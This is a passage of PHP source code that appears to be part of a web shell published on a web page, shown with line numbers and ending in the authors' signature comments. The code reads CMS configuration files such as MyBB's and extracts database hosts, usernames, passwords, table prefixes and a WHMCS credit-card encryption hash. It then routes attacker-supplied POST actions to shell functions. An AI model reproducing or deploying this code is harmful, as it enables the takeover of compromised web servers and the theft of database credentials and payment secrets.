  6137. 'host'=>array("/dbhost(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6138. 'dbname'=>array("/dbname(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6139. 'dbuser'=>array("/dbuser(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6140. 'dbpw'=>array("/dbpasswd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6141. 'prefix'=>array("/table_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6142. ),
  6143. 'mybb'=>array('file'=>'/inc/config.php',
  6144. 'host'=>array("/config\['database'\]\['hostname'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6145. 'dbname'=>array("/config\['database'\]\['database'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6146. 'dbuser'=>array("/config\['database'\]\['username'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6147. 'dbpw'=>array("/config\['database'\]\['password'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
  6148. 'prefix'=>array("/config\['database'\]\['table_prefix'\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
  6149. )
  6150. );
  6151. $data = array();
  6152. $srch_host = $config[$cms]['host'][0];
  6153. $srch_user = $config[$cms]['dbuser'][0];
  6154. $srch_name = $config[$cms]['dbname'][0];
  6155. $srch_pw = $config[$cms]['dbpw'][0];
  6156. $prefix = $config[$cms]['prefix'][0];
  6157. $file = $config[$cms]['file'];
  6158. $chost = $config[$cms]['host'][1];
  6159. $cuser = $config[$cms]['dbuser'][1];
  6160. $cname = $config[$cms]['dbname'][1];
  6161. $cpw = $config[$cms]['dbpw'][1];
  6162. $cprefix = $config[$cms]['prefix'][1];
  6163. if(@is_dir($path)||_alfa_is_dir($path)){
  6164. $file=$path.$file;
  6165. }elseif(@is_file($path)||_alfa_is_dir($path,"-e")){
  6166. $file=$path;
  6167. }else{
  6168. return false;
  6169. }
  6170. $file = __read_file($file);
  6171. if(preg_match($srch_host, $file, $mach)){
  6172. $data['host'] = $mach[$chost];
  6173. }
  6174. if(preg_match($srch_user, $file, $mach)){
  6175. $data['user'] = $mach[$cuser];
  6176. }
  6177. if(preg_match($srch_name, $file, $mach)){
  6178. $data['dbname'] = $mach[$cname];
  6179. }
  6180. if(preg_match($srch_pw, $file, $mach)){
  6181. $data['password'] = $mach[$cpw];
  6182. }
  6183. if(isset($prefix)){
  6184. if(preg_match($prefix, $file, $mach)){
  6185. $data['prefix'] = $mach[$cprefix];
  6186. }
  6187. }
  6188. if($cms=='whmcs'){
  6189. if(preg_match($config[$cms]['cc_encryption_hash'][0], $file, $mach)){
  6190. $data['cc_encryption_hash'] = $mach[3];
  6191. }
  6192. }
  6193. echo json_encode($data);
  6194. }
  6195. if(empty($_POST['a']))
  6196. if(isset($default_action) && function_exists('alfa' . $default_action))
  6197. $_POST['a'] = $default_action;
  6198. else
  6199. $_POST['a'] = 'FilesMan';
  6200. if(!empty($_POST['a']) && function_exists('alfa' . $_POST['a']))
  6201. call_user_func('alfa' . $_POST['a']);
  6202. exit;
  6203. /*
  6204. #Persian Gulf For Ever
  6205. #skype : sole.sad
  6206. #skype : ehsan.invisible
  6207. */
comments powered by Disqus